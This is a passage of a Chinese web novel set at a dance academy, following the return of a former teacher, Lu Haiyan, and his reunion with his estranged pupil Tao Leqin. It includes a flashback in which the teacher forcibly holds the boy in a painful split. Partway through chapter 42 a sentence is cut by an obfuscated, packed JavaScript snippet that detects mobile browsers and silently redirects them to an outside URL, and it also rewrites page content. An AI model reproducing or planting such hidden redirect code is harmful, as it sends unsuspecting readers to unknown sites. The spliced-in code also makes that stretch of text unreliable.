其实“陆海言”这个名字,在他心里很陌生。父亲一早收集到的资料里,这冷冰冰的三个字,于他而言,就像老师未曾有他参与的前半生一样,并没有什么意义。山田还是陆海言,老师不是任何三两字能说的清的存在。他本就是那个站在树下负手静静看着自己的身影,他给自己上课时偶尔带着幽默的低沉声音,他看着自己做基训时平静却带着积威的眼神……两人半年来相处的每一分一秒,点点滴滴地拼凑出心中的老师的模样,相较之下,那些突如其来的名字或者是代号,都太微不足道了。 可这微不足道的三个字,会不会是多年来,能让他离老师的最近的一次? ———————————————————— 正是一年中最热的时候。 首都的夏天,即便到了深夜,暑气也没有消减的意思。舞校大院西北角的教职工宿舍里,萧泽依旧伏案在桌前,哪怕是刚洗完澡没一会儿,轻薄的背心就又黏腻在身上了。一旁柜头上的风扇在寂静的夜里嗡嗡嗡地摇着头,不时将萧泽的衣角和发丝微微带起。 教职工宿舍是建校时就有的老楼,这么多年来,只因为暖气管道改造维修过一次,空调是决计没有的了。好在萧泽也是一路从条件还更差些的学生宿舍住过来的,倒也不觉得特别难捱。更何况这会儿……不甚宽敞的写字台上一叠叠地摆满了资料,彦承的训练计划,历届柏林大奖赛的相关资料,新舞剧的排练时间表,还有他此时笔下的选角计划……几乎每张纸上都做了标注。所以明明额上早已被瓦数十足的台灯烤出了一层薄汗,他倒是也浑然不觉。 到底是不习惯在桌前久坐,将选角计划又从头到尾通读了一遍后,萧泽不禁扬起手臂向身后展了展肩。认真活动了几下,才感觉僵硬酸涩的肩颈放松了许多。再垂下头时,目光便定在了第一页上男三号的一栏,笔尖也不自觉地在“待定”两个字后点着点。 该是最后敲定方案的时候了,张凡和家齐两个却还差个人选没定下来……萧泽不禁有些替他们着急。虽然舞剧选角也讲究适合,但毕竟不比影视作品那样需要气质上的完全契合,想在舞院上下想找个八分合适的演员总是能的。只可惜这个节骨眼上,团里有能力的舞者都被抽调走了,两个孩子对这个作品又是千万分的珍而重之,更加不愿意在人选上妥协。所以才等到了今天,还迟迟没填上个名字。 其实萧泽心里……倒是有个想法的。舞剧的轮廓一出来时,他心里对这个角色的演绎者就有了期待。只是出于尊重编导的想法,他想先听听看张凡和家齐自己的意思,便一直没有跟他们提起。如今这一栏的人选依旧空着,也不知道两个小编导心里,是什么想法。 正想的出神,电话突然响了。萧泽看来电显示上的名字,不禁欣然一笑——人啊,果真是经不起念叨。 “学长!” 电话一接通,对面就传来两人脆生生的问好,“不好意思啊,这么晚还打扰您。” 舞剧正式排练的日子一天天近了,两个孩子每天在外面跑;演员、场地、灯光、舞美,林林总总都要契合进庞杂的时间表里,要一样样亲自落实下来,实则是千头万绪。萧泽每每看到他们强打精神却热情满满的样子不免感慨万千,这其中,有感动、有欣慰,更有一种隐隐的…激动。 热爱一件事,大概就是如此吧。 “不晚,我也没什么事。倒是你们俩,又在外面跑一天?” 萧泽把电话放成免提放在一旁,随手将桌上的文件都整理起来。 “也还好啦。”两个人孩子都是忙起来不知道累的性子,语气里带着些乐观的不以为然,“就是大家都很忙,要迁就他们的时间,我俩就只能城东城西地跑了。” “嗯、是”,何家齐也从旁补充着,“好在今天的事情都办完了,也算没白跑、嘿嘿…” 听着他们一唱一和地絮絮叨叨,电话这边的萧泽不禁无声地笑了。“好了,说回正事儿。” “选角计划我看过了,都很好。有一部分演员我不熟悉,不过舞剧是你们的,我相信你们自己的判断。 那个独立舞者后面,我添了两个候补的名字。你们先尽力去请,请不到,这两个候补应该也很合适……” “好的。” 需要变动的地方不多,萧泽把几条想法一一提了,两个孩子也都赞同,直到最后那个一直悬空的人选,萧泽不禁顿了顿。“最后这个男三号……正式排练的日子马上就到了,这么重要的位置你们两个还没个想法?” 萧泽的声音一贯平和,电话另一头的两个年轻人听到却是瞬间不自觉地绷紧了身体。一直听许多已经参演了很多舞剧和演出的学长学姐们讲,跟萧学长合作压力是最大的;倒不是因为他不好相处,只是因为,他对舞蹈、对任何一件事的态度,都太认真太专注了。在那样的影响下,没有谁能不拿出百分之二百的努力来。 早前把这份没填全的计划交给萧学长的时候,张凡和何家齐心里就有些惴惴不安。方才讨论的时候,主角的名单明明是列在第一页的,萧学长却也特意跳过没有先讲。两个人心里一路都打着鼓,不知道学长会有什么反应,现在总算被问到,他们反倒是稍稍松了口气。 张凡默默组织下了语言,再开口时,还是有些没底。 “其实我们心里,是有个人选的,而且还觉得……非他不可。就是……就是陶乐钦!” “嗯?” 萧泽心下一动,两个孩子的想法跟自己不谋而合,那——他不禁有些好奇,“我也觉得陶乐钦很适合,那为什么一直没有提起,你们的顾虑是什么?” 没想到学长跟他们想到了一块儿去,两个年轻人不免有些兴奋。可是一提到顾虑……他们不 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这一聊,又是不少时间,再挂断电话时,才是真的晚了。萧泽关了灯,终于得以躺到窄窄地小床上直了直腰。想到稍后舞剧的排练,嘴角不禁荡开了一丝笑意。虽说一点不怀疑孔爵的专业性,可他和陶乐钦两个硬碰硬的性子,到时候整段整段的双人舞排起来,还不知道要闹出多少小插曲呢。 —————————————————————————————— 首都三十八度的天气里,哪怕只是随便动一动都免不了阵阵汗流浃背。陆海言、孔爵和思思顶着烈日从北三环的一处小区中走出来,身上的体恤上全都是湿透了的。“呼……真是热死了。” 一坐到车里,孔爵就连忙把冷气开到了最大,又抽了几张纸巾递给思思和副驾上的陆海言。“你家这空调估计要两三天才能修好,这几天还是先住我那儿吧,反正离你入职还有一阵子。” 上午三个人一起去商场采购了一堆家居和生活用品,陆海言本想着今晚就搬回来住,谁想他们大包小包地拎上了楼才发现家里的空调坏了。陆海言倒是没什么大所谓的,孔爵却坚持让他回自己那儿住,“你那是“双阳”的房子,这天儿没有空调怎么住人啊。反正我那儿也有地方。” 孔爵正侧着身将手臂伸到了后座,把对着思思吹的空调风速都调小了,一说起天热,一双剑眉瞬间就又拧成了疙瘩。 陆海言打量着孔爵带着微微胡渣的侧脸,一时间有些出神;上次见面时还是个动不动就热血上涌的愣头青年,一别这几年,已然是个细心沉稳处事妥帖的前辈和师长了。从前与这小子共同成长的那许多年间,自己曾是他的“哥们儿”,他的叔叔,也更是,他的老师。到了今时今日,无论是哪一种身份,自己都格外觉得欣慰了。 “哎,完了!” 车子缓缓驶出小区,孔爵突然想起了什么似的“啪”地拍了一下脑门。“忘了个正事。” 才在心里夸他沉稳,没到三秒钟就破了功,陆海言几不可见地笑了笑,侧过头,“怎么了?” “我一点钟约了萧泽谈舞剧的事,本来是昨天要开会的,我给推到了今天,险些又忘了。” 孔爵扫了眼时间,心里盘算着往返的路程,先把思思和小叔叔放到家,是肯定来不及了。小叔叔的驾照也还没换好,自己打车过去,让他开车和思思先回家也行不通。要不然……嗯…… 思来想去好几遍,竟一时想不出个好方法来。 “直接开去学校吧。” 陆海言看着他皱眉沉吟的样子,从旁说道。 “啊?” “我说,直接开去学校吧。正好让思思陪我在舞院里转转。” 相比孔爵一脸的诧异与为难,陆海言倒是云淡风轻许多。“嚯,你纠结个什么劲儿?我跟舞蹈、跟舞院、又没什么过不去的坎儿,没什么可规避可抗拒的,去转转就转转乐,你不用担心。” 顺便—— 陆海言微微转回头,将目光放的远了些,“顺便也去看看阿乐那孩子。” 42. 第42章 “不要以为你们是读编导的,我的课就可以不好好上,我对你们的要求跟表演系一样。开学以后,有谁不达标,我一样挂你的科。下课!” 伴着“砰”的一声门响,刘茹佳的背影消失在门后,甩下教室里一班噤若寒蝉的学生。 “这铃都打了五分钟了,可真能训……” “唉…” 全都大汗淋漓的十来个男孩子终于长舒一口气,三三两两地散开了;有胆子大的,还毫不避讳地抱怨着。林晓希跟他们一起走到教室一角换衣服,也不禁甩了甩酸软的双腿;夏令营的课程强度很大,一个上午下来,体能再好也都累的上气不接下气了。想到这里……他不禁看向一旁的陶乐钦—— 早上看见他眼下那浓重的黑眼圈,自己也着实吓了一跳,此刻他微垂着头,睫毛遮掩下的那一片阴影就更加明显……显然是没能得到充分休息的身体在早功时就露出了疲态,又怎么可能应付得到了一整天繁重的训练?果然,一个上午下来,已经看得出他严重的体力不支了。 林晓希收回眼光,不禁沉默了半晌。他也不知道自己为什么会越发在意,或者说是关心起这个人来。于情,从考学开始就一直被他高调地压着一头,心里就算没把他当成敌人,也并没有什么好感;于理,他性子自负偏激,又对承儿对孔爵哥做过那么过分的事。 可也许是因为昨天承儿的一席话,也许是因为对那份执着的感同身受,所以无论是作为对手、同学、还是“不大算得数”的朋友,林晓希都有些担心陶乐钦的状态。毕竟,按着他要强的性子,但凡挺得住都一定是不肯示弱于人前的。晓希犹豫了片刻,还是缓步走了过去。 陶乐钦弯腰撑在镜前,胸口有些狼狈地起伏着。很久没体验过心脏这样像失了控般地狂跳,他不禁狠狠闭上眼,自欺欺人地掩饰着眼前一阵阵的发黑。他知道,刚刚刘老师发的一顿火气,多多少少有一部分是因为他。他也知道,自己从早功到现在,跳跳不高,转转不稳,拖泥带水,气喘吁吁,维持动作的质量都成问题,还表达什么主旨,什么情感?! 他不禁紧紧攥着手下的把干——暗恨这样不争气的自己。 “你还好吧。” 林晓希不知道什么时候出现在身旁,与他并排撑着把干,轻声问;语气里还带着一丝的不经意,尽量不让贸然的关心显得太唐突。然而陶乐钦却敏感地一下子抬起头,看向镜中的眼神里带着比往日更甚的防备和不耐烦。 晓希不禁一愣。即便已经领略了不少次他强硬的个性,却还是很难习惯那样不加掩饰的敌意。大概是看清了来人,陶乐钦有些尴尬地避开眼神,面色虽然还是一贯的拒人于千里,却已经比方才缓和了许多。良久,才极快地说了一声“没事”. 晓希微微点点头,一时有些沉默。其实设身处地的地想,这份心情和疏离,他是理解的。都是一样的要强,都是一样的不习惯跌倒。挫败时,旁人的关心…很难不被理解成同情,而作为弱者被同情…远比失败本身更难接受。曾几何时,自己不也是这样,越是摔得狠,就越要若无其事地行的端走得正,而陶乐钦,就像是…说的俗气些…就真的像是一头本没有什么恶意的猛兽,可伤的越重,就越要张牙舞爪地显出满身的戾气,用凶恶的外表去驱退围观的人群。 一想到这些,晓希不禁无声地叹了口气,也不知道自己,是不是不该多管闲事。“让自己喘口气吧”,他侧过头,看向陶乐钦,“像你这样没日没夜的练法,再休息不好的话,身体怎么可能吃的消。耽误了上课,就因小失大了。” 陶乐钦握着把杆的手微微一紧。 因为心里不痛快,所以拼了命的练舞,拼了命的把生活中的每一丝空隙都填补起来。这样,就能无暇去难过,无暇记起那些一想到就刺的人心口发痛的事。可哪怕累的一根手指头都拎不起,每晚躺到床上,他仍然是整夜整夜的难眠。这些事,他其实并不想让任何人知道。只是不知道为什么……他不禁抬起头去看林晓希,却只在镜中看见他已经走开的背影……那种突然被关心、心情突然被人了解的感觉,让他的眼眶一下子热了起来。陶乐钦连忙低下头,深吸了口气把骤然波动地情绪压了回去。 —————————— 一路上紧赶慢赶,总算在一点之前赶到了舞团。一踏进舞团大门孔爵就赶去和萧泽开会,陆海言则带着王思邈四处闲逛着。 这几年没回来,舞院里的一草一木都还那么熟悉。还是那栋四层的大楼,还是那几个潇洒的金字,大概是翻新过一次,比多年前更熠熠地闪着光。陆海言微微笑了笑,迈着台阶走进了大厅,迎面而来的气味,让他不禁有些出神。他一直觉得,气味携带记忆的精细和长久的程度,常常比其他媒介更深刻。无论时隔多久,无意中萦绕在鼻尖气味总能勾起人最深处的回忆;就如容珊最喜欢用的薰衣草味沐浴露,就如大哥大嫂家里常飘的茶香,就如舞团大楼里……那样一种独特的无法形容的气味,一闻到,就仿佛回到了从前许多在这楼里度过的时光。 深深的呼吸上几口舞团的空气,陆海言睁开眼,踱着步子在大厅四下打量着。一边墙上挂着一张大大的优秀演职人员表,他不禁饶有兴趣地凑了过去。榜上萧泽的旁边,孔爵皮笑肉不笑的证件照赫然并排贴着,“客座首席”四个大字也格外显眼。 …… 文筱和朱景斌还真能陪着他闹。陆海言不禁笑了,转头问一旁的思思,“你老师,自从回来,参演过一出舞剧没有?” “嗯——” 思思貌似也是第一次看到这个名单,听了话,不禁皱着眉头沉思了起来, 半晌,才歪着头看向陆海言,一脸的为难。“马上要开排的这个……算吗?” 哈哈哈哈…… 这次陆海言直接笑出了声来。如果孔爵看到自己乖乖的小学生一脸认真替他开脱,效果却更像是“揶揄”的样子,一定鼻子都气歪了。 两张生面孔,在舞团晃悠还是有些扎眼。陆海言没有在舞团多呆,四处转了转就带着思思往学校那边去了。舞团、附中和大学各有自己的门面,内里却都是相通的。中间也有保安值班,但凭着思思的学生证和两人一眼就能看得出的气质,一路倒也畅通无阻。 正值暑假,学校里格外安静。一路上却也看见好几个学生趁着午休没结束,提前去教室里练功,舞院里,总不缺努力的人。陆海言想起来思思貌似提过暑期进阶班的事,还因为自己请假没能参加愧疚的不行,最终被孔爵一句“你跟着我练的强度已经是暑期‘火箭’班了” 噎的服服帖帖。 这个傻实在的孩子啊,跟他老师比起来至少还差两百个心眼。陆海言扭头看着一路上不时给自己解说的少年,不禁笑着拍了拍他肩膀,继续朝前走去。 “知道自己硬还不努力!全等着我给你找齐呢?!” 两人正从教学楼外侧走过,一层的某间教室里突然传出一阵严厉的训斥,听得思思下意识地一抖。陆海言停下脚步,偏头往窗子里看去,正看见一个年纪不大的男孩躺在地上开胯,训话的老师扶着他膝盖,三两下就按到了地上。男孩忍不住呜咽了一声,渐渐哭了起来。 “哭什么哭,憋回去!” 一年级的小屁孩总少不了这一番哭哭啼啼,老师有些不耐烦的腾出一只手来,啪的一声打在他脚上,“脚背!” 这一幕幕,在舞校里,并不鲜见,陆海言无声笑了笑,心底生出一丝久违的熟悉来。这一代代的过来,老师们教学生的方法似乎都没变,甚至连台词,都是一样的。他放低目光,回想起许多从前相似的画面来。在附中教课的那些年,他没少糟学生们的恨和怕;孔爵,闹得最凶的时候简直是誓要跟自己老死不相往来。陶乐钦呢……陆海言又看了看地上憋的小脸通红的孩子,突然想起来,自己也曾拿这个,好好“收拾”过陶乐钦。 那时候才带着他练舞没两天,陆海言就发现,这孩子是真的爱舞蹈,却也是真的不爱练功。给他放的成舞,不声不响一个晚上就偷偷扒下来了;叫他练能力素质,却是偷工减料、变着法子偷懒。擦地踢腿、蹲、跳、力量,的确不如一个完整的作品有故事,也不如技术技巧那么眼花缭乱地抓人眼球——陆海言也是从那时候过来的,知道他是嫌枯燥,嫌无聊,可陆海言意识到这一点后的第一事,还是先扳扳他这个臭毛病。 “过来。” 上午盯着臭小子认认真真地压了腿,陆海言把他从把干上叫下来,敲了敲身前的地板,“躺下,开开横叉。” 陶乐钦扭过头,有些不耐烦地皱了皱眉,最终还是慢吞吞地走过来,却停在半米远的地方就不动了。陆海言撩起眼皮看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239540|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,身侧的少年穿着齐腿根的练功短裤,露出又长又直线条又好的双腿来。这么好的条件,不好好练都对不起自己。 心里虽然如此念叨着,陆海言却也不催,只回身拽了个半身长的垫子摆在身前,手掌在上面轻轻拍了拍。然后侧头望着他,眼里的意思十分直白:再磨蹭,吃亏的是自己。 哎……虽然跟老师相识的时间不长,陶乐钦却发现自己,莫名地,有些怕他,虽然自己一点也不想承认,可就是看到他深邃的眼神,就不自觉地,什么都听他的了。僵持了片刻,陶乐钦终于在老师要回头拽第二块垫子的时候败下阵来,认命地躺到了垫子上。 陆海言的耐心大概在等他“就范”时就用完了,一等陶乐钦摆好姿势,双手就扶着他膝盖,缓缓压了下去。嘶…胯上和大腿内侧瞬间掀起的酸痛让少年一下子皱紧了眉眼。见鬼!明明昨天趴着的时候只差一个半拳头了,怎么今天翻了个身,就差这么多了。 压在膝上的力道又稳又重,没有一点振压的意思,一路向下地就把自己的双腿拉成了一条直线。练舞时日不长的陶乐钦哪里禁过这个,疼地整个上半身都弓了起来,一直扶着腿根的十指也不禁抠进肉里,把白皙的皮肤抓的通红。 “呼吸!” 疼的冒冷汗的小孩儿光顾着憋着不吭声,连气也忘了喘。陆海言扬声提醒了一句,手下的人才后知后觉的呼出一口气。笔直的一字下,少年腿根的筋骨都紧绷的凸了出来,两只小手紧紧地抠在上面,好像生怕再压下去韧带就会崩断了似的。陆海言看在眼里,不禁觉得好笑:这么多年的经验,他几乎一上手就知道这小子根本一点都不硬,就是练的太少了。这么想着,陆海言就等了两分钟让他缓口气,然后便往前倾了倾身。 “诶,别!”敏感地反应过来老师要干什么,方才还死要面子不肯叫痛的陶乐钦一下子慌了神,也不顾得那么多,一边喊着一边去推陆海言的手。陆海言却好像丝毫不受影响,只任凭他挣扎,然后借着一个垫子的厚度,把他大开的双膝,越过一百八十度,紧紧地按在了地上。 “呃啊……” 陶乐钦哑着嗓叫唤了一声,一时吃不住疼拼命扭动了起来,“你…放开……” 陆海言可不是第一天给人练软开,陶乐钦也不算是最能折腾的,因此地上这泥鳅一样乱扭的孩子,对他来说实在不算什么。他看了看墙上的钟,再看向陶乐钦时,语气虽是一样云淡风轻,眼神里却带着压迫人的毋庸置疑,“耗十五分钟。然后,从现在开始,你推我一下、加一分钟。” 疼昏了头的陶乐钦听了话不禁一愣,一时没反应过来,过了半秒钟,却反而更加用力的去推陆海言的手。凭什么,凭什么他说什么就是什么,凭什么他总是这么理所当然地威胁自己,刚才就是,现在还是! 因此好像就是为了跟眼前的人较劲似的,陶乐钦又抓又拽,越发放肆了起来。 ”哟?好,就喜欢你这种不信邪的。” 看着自己胳膊上被抓出的一道道檩子,陆海言倒是笑了起来,当真认认真真地把陶乐钦推的这几下都记了下来。 到底是半大的孩子,又怎么能顶的过大人。又疼又累的,没出几分钟,就已经耗光了力气。陶乐钦又徒劳地挣扎了几下,胳膊实在再使不上力,只得放弃,瘫软回了地上。然后身上的疼,就更明显了,胯上的骨头好像都毫无缓冲地挤磨在一起,腿根的韧带也好像一寸寸地撕碎开…… 陶乐钦闭紧双眼,起初几分钟,还能硬气的不动不吭声,可越往后,那分筋拆骨的疼就越是难熬,好像两条腿,真的被撕开了…… “十五分钟到了。” 就在少年几乎再也忍不住的时候,陆海言的声音好像是末日的曙光一样在黑暗中亮了起来。陶乐钦一下子睁开眼睛,一脸难以置信却又十分期待地看向眼前的人。陆海言牵起嘴角微微一笑,紧接着却探起身子更用力地把他已经紧贴在地面上的膝盖又往下按了按。骤然加剧的疼痛激得陶乐钦猛地绷紧身子,喉咙里下意识渗出的一丝呻-吟几乎带了哭腔。然后老师的声音,高高地从头顶飘下来,“你刚刚推了我五十三下,剩下的五十三分钟都是你给自己挣的。” 臭小子这次没再说话,只是突然间拿起双手,把眉眼都牢牢地遮住了。陆海言看在眼里,无声地笑了笑,却一点,也没心软。 43. 第43章 因为不愿意被人打扰,陶乐钦的练功房建在小田切家大宅东南角的花园旁。本就僻静独立的房间,此时此刻显得更加安静 —— 陆海言不发一言,既没有责备陶乐钦的不安分,也没有试图说些什么帮他转移注意力,所以……墙上“咔哒咔哒”作响的石英钟就显得格外恼人。 陶乐钦咬牙忍过半晌,终于忍不住恨恨地向墙上看去,谁知一直欢快地“蹦哒”着的指针,竟然也才绕过十几分钟而已。 满腔无处发泄的烦躁好像瞬间被一盆冷水浇了个透心凉,陶乐钦呆了两秒,还是默默转回头把脸又藏回了臂弯下,想到仿佛永远也到不了头的时间,就说不出地气闷。 他一直以为山田老师不会真的让他耗完所有时间,毕竟,五十三分钟,怎么听起来都是个太过骇人听闻的数字。可时间一分一秒地过去……陶乐钦又渐渐收紧了眉头,双腿从剧痛到麻木再到酸软…眼前男人平静却笃定的眼神,到底让他的自信一点点动摇起来了。 又这么闷着声捱了一会儿,压着自己膝盖的手突然松了松。陶乐钦心下一动,抓准机会就要起来。却没想到自己才一使劲儿,胯间和双腿内侧的肌肉和韧带就瞬间炸痛起来。陶乐钦疼的一激灵,不禁轻呼一声,瞬间定在那里半点都不敢乱动。 于是膝盖又被死死按回地上,空气中也跟着传来一阵仿佛“看好戏”的轻笑,“怎么,还想再加?” “你!” 陶乐钦扭过头,一双眉毛被激得几乎立起来,想到自己再生气也是无可奈何,就不禁更加愤愤起来,他何曾被逼得这样狼狈过! 陆海言带着些许笑意看着他,只见一脸气结的少年表情却突然僵了僵,沉默了片刻,便又重新换上一副不理不睬的样子模样,躺回了垫子上。陆海言有些奇怪,顺着他方才的眼神朝下看了看,才看到自己运动裤上,膝盖的地方被压出一道清晰的皱褶。 思绪在脑中打了个转,抬头看着地上一边抿着嘴忍疼一边生闷气的少年,陆海言不禁无声笑了笑。光顾着压着他,自己一直单膝蹲跪在地上,半个小时下来,就算是地胶,膝盖也有点吃不消。方才换个腿的功夫,这臭小子还以为能钻得了空子,不过……知道心疼人,倒也是个外冷内热的性子。 —————————————————————— “走吧。” 教室里的老师貌似发现了窗外的一大一小,投来狐疑的目光。陆海言回应了个抱歉的微笑,转身拉着思思走开了。 这些年来,他无父无母、无牵无挂,活得像一座孤岛。连大哥大嫂这般最亲近的家人也只得他在心中默默挂念,陶乐钦……就更是被湮没在生活的角落里。偶尔在电视和网路上看到些文体消息,他不禁会想起舞蹈,想起孔爵,想起远在日本,那个叫阿乐的、带着些“少爷”脾气,却也肯吃苦的孩子。只是这些,终被卷入他和容珊命运的漩涡中,在他们相守着彼此与死神赛跑的道路上,分崩离析,消失殆尽。 回来后和孔爵的几次谈话中,他才了解到,这些年来,自己在那孩子心里竟有那么重的位置。他以为,少年心性,有了更多老师,生活中有了更多的内容,对自己的记忆,终会淡漠的;却也忘记了,自己曾无数次感叹过阿乐的那份与孔爵万分相似的执着。 与从前倔的十头牛都拉不回的样子相比,孔爵处事上,早就已经多了几分豁达与圆滑,可小时候还知道服软耍小聪明的陶乐钦,却是越长大,越偏执起来。 而这份偏执……是不是也有他一份责任呢? 哎,陆海言默默长叹了一口气,往事袭来,他想去看看阿乐的想法,不禁强烈了几分。 “小叔叔!” 陆海言和王思邈齐齐回过头,正是孔爵一路小跑过来了。 “呼……你们俩走的够远的,叫我好找。” 嗯?王思邈摸了摸口袋里的手机,“老师怎么不打电话直接问?” 陆海言微微一笑,咽回原本到了嘴边的话。这两天没少见思思一脸认真地让孔爵吃瘪的样子,他也乐见,便在一旁不走心地帮着腔,“是啊,怎么不打电话。” 孔爵忍不住白了他一眼,从兜里掏出手机在两人眼前晃了晃,”没电了,没电了看到了没?“ 言罢不禁又在思思额头上弹了一下,”就你知道到多!” 思思咧嘴一笑,吃痛地皱了皱眉,老师的手劲儿大,下次他再弹人脑门,自己可要躲着点儿…… 孔爵看着他那个小样儿只觉得可爱,明明知道自己根本没使劲儿,却还是不禁抬手扶到他额头上,缓缓揉了揉。 “小叔叔,咱们去吃午饭吧,让你们等了这么久,肯定饿了。” “没事儿,”陆海言看了看手机上的时间,“我还不怎么饿,去办点事,你们先吃。” 孔爵知道他是想趁着午休结束前去看看陶乐钦,便也不再多劝。“好吧,反正就是我说的那几个地方,找不到就问我。” 陆海言点点头,摆摆手让他们赶紧去,自己也转身朝大学那边走去。身后,还传来师徒俩的小声的交谈—— “浪了一上午了,吃完饭该干什么知道了不?” “嗯…车里正好有备用的练功服…” ————————————————————— 直到手机上距离上课三十分钟的闹铃响起,陶乐钦才发现自己已经在操场边发了一个小时还多的呆。身上这一套练功服上午已经不知道湿了几回,得赶在上课前换一套干净的…他只得懒懒地站起身,下了几节台阶,却觉得脚下像踩了棉花。 早上没胃口只喝了盒牛奶,午饭时在食堂转了一圈,却还是什么都没吃就转了出来。他从不是会跟自己身体过不去的人,可这几天不知道怎么了,就是提不起食欲。 他突然又想起早上来找自己的那一对编导系的学长姐… 大一还没开始就能接到舞剧,那么好的题材,又有萧泽挑大梁,他似乎找不出拒绝的理由来。可偏偏…头一号的主演是那个孔爵,偏偏,光凭故事梗概就听得出,编导想留给他的那个角色少不了要与孔爵有大段的双人舞。 哎…陶乐钦忍不住长长叹了口气,一向知道自己要什么的他却突然没了主意。他本可以凭着舞者的专业精神一心一意投入到故事中,不参杂半点私人的情感。可那个人是孔爵,是身上带着老师影子的人,他怕自己拿不出那份“专业”来。如果老师在的话,他会给自己什么建议呢? 也许,他什么建议也不会给;他只会帮他分析每个选择背后的利弊和结果,然后主意,要自己拿,结果,要自己担。 因为很久很久之前,他就已经教过自己这个道理了——— 多年前那个初夏的上午,他站在把干前一下下地踢着旁腿。这个自称“山田”的老师,竟然压着他,耗了一个小时的横叉。虽然不爱练功,他却很注意保护自己的身体,所以哪怕一抬腿胯间就说不出的疼,他也只能忍着一下下踢得更高。 然后隔壁的水声渐渐停下来,老师从洗手间走出来,手臂上杂乱无章的抓痕因为沾了水而格外显眼。陶乐钦盯着看了片刻,却在山田抬起头的一瞬间把头扭了回来,面上依旧一副若无其事的样子。 谁叫他非要压横叉,谁叫他威胁自己… 还年少的孩子试图想些老师的不好把那份愧疚压下去。 然而山田看上去却没有半点的不高兴,他走到把干旁,看到陶乐钦一下下“抡“着自己的长腿,便耐心地纠正,“不能悠上去,胯那儿要断开,用脚背往上带”。 “对,这下是对的,找那个感觉。” 好像方才没有个不听话的学生,也没有个张牙舞爪的小孩儿,山田心平气和、认认真真地看着陶乐钦完成了一百下踢腿。 终于等到难得的休息时间,陶乐钦在镜子旁坐下,心情有些复杂。 “给”,陶乐钦侧过头,是老师递过来一瓶水。盯着这水愣了半晌,方才课上压在心里的疑问不禁一下子就脱口而出,“我把你抓成这样,你都不生气么?” “嗯?” 山田低头看了看手臂上的 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心仿佛被人狠狠抛向半空,那种感觉,好像过山车刚刚攀到顶端却迟迟不肯落下,好像站在又高又飘的吊桥中间看向脚下深不可测的谷底,好像身旁的氧气都被突然抽干连呼吸都不能般无措… 哪怕是再久时间、再远距离,他也一眼认得出,不远处那个抬头望向另一边的侧脸是那个多年来他想了无数次,念了无数次,想找找不到,想找不敢找的… 老师。 脑海中闪过那两个字的瞬间,陶乐钦一个箭步冲到路旁的大树后。他从未有过这样慌乱的感觉,终于落回胸腔的心脏疯狂的跳动,他左顾右盼地望向四周,却发现连双手都忍不住颤抖。为什么要藏起来,为什么不冲过去说这些年我有多想您,为什么老师会出现在这里,为什么这么多年找寻不见的老师就偏偏出现在他眼前? 脑海瞬间变得一片空白,越是用力去想却越是无法集中,喉咙发干的陶乐钦艰难地咽下口水,忍不住扬起头狠狠敲在树干上。 “阿乐。” 耳边响起久违的声音,和那年冬天在樱花树下与他道别的声音一样。陶乐钦猛的睁开眼睛——七年没见的老师,实实在在地站在他面前,与从前没有半点改变。 “阿乐,好久不见。” 眼前的孩子满眼的震惊与无措,只定定望着自己,却不说一句话。沉默了良久,陆海言又叫了一遍他的名字。 也许是听说了许多关于陶乐钦的故事,也许是这次回来深感对许多人的辜负,表面上再平静,内心也不免沉重,陆海言想再说些什么,却只觉得伪善。 “你走!” 眼前的老师触手可及,曾经多少次想像着再见时的喜悦,此刻却半点都提不起来。可眼前的人并无动作,陶乐钦一下子就激动起来,用尽全身力气狠狠地把陆海言推开,用那双曾经多少次想狠狠拥抱老师的手,“你走,你走开!” 几乎是歇斯底里的嘶吼回荡在耳边,陆海言踉跄了两步,看着陶乐钦早已把头扭向了另一边。总归该给孩子些时间冷静的,他没再说什么,只缓步走开了。 草地上传来细碎的声音,陶乐钦抬起头,看到的又是老师的背影,那个多年前也如此毫不犹豫的,离开自己的背影。只一瞬间,仿佛看到之前即将被湖水淹没的日记本,那时那刻,什么想法都没有了,心底唯一念着的,是不能失去与老师有关的最后一点牵挂。望着眼前越来越远背影,那种害怕失去的窒息感陡然袭来,陶乐钦不顾一切追上去,一把拽住陆海言的衣摆,“你别走…” “为什么,为什么你不留下…” 陆海言转过头,身前的少年话不及说完,已经泪流满面。“你凭什么,凭什么…就能那么潇洒… 每次都是说走就走,连头…都不回…你为什么从来…不会舍不得…从来不回头…从来…都不,你——” 话音和啜泣都戛然而止,陆海言慌忙伸出双臂,将突然晕倒的陶乐钦稳稳护在怀里。看着还是少年面庞的阿乐满脸的泪痕,陆海言心头,是自容珊走后,少有的酸涩。 44. 重逢II 晕晕沉沉中,觉得自己好像是被人背着,靠在个宽宽的肩背上。其实并不怎么舒服,有些颠簸,还有些硌。凉风顺着领口,一阵阵吹进衣服,让他忍不住打了几个冷颤。可鬼使神差地,他就是不愿意睁开眼睛,仿佛这么一直靠着睡下去,那人颈间熟悉的香味就让他格外的安心。从前他总以为,那是古龙水的味道,后来无意中谈起才知道,原来是老师惯用的须泡。 老、师……?一提起那两个字,好像有什么在脑海中一闪而过,一下子溜了过去,抓也抓不住。然后一帧帧破碎的画面突然毫无防备地冲到眼前来——教学楼……食堂……林荫小路……他好像躲到了大树的后面……好像不知道为什么既害怕、又期待。然后他好像看到了……山田老师。 一时间,好像所有的记忆都回来了。记得在校园里看到了老师,记得自己慌慌张张地躲避着,生气地将他推开,却又哭着将他拦住…… 陡然从梦中惊醒,陶乐钦突然想从那人背上跳下来,想看看眼前的人到底是不是老师,是不是陆海言!可身体却突然像不是自己的了一样,他想睁开眼睛,想醒过来,身体却无比的沉……好像被人牢牢定住,连掀开眼皮的力气都使不出。心里越急,就好像越是失控,陶乐钦一遍遍的尝试着,却愈发觉得自己像是被锁在躯壳里的灵魂,被黑暗和说不出的慌乱牢牢罩住,无论怎样用力,就是连一根手指都动不了了。 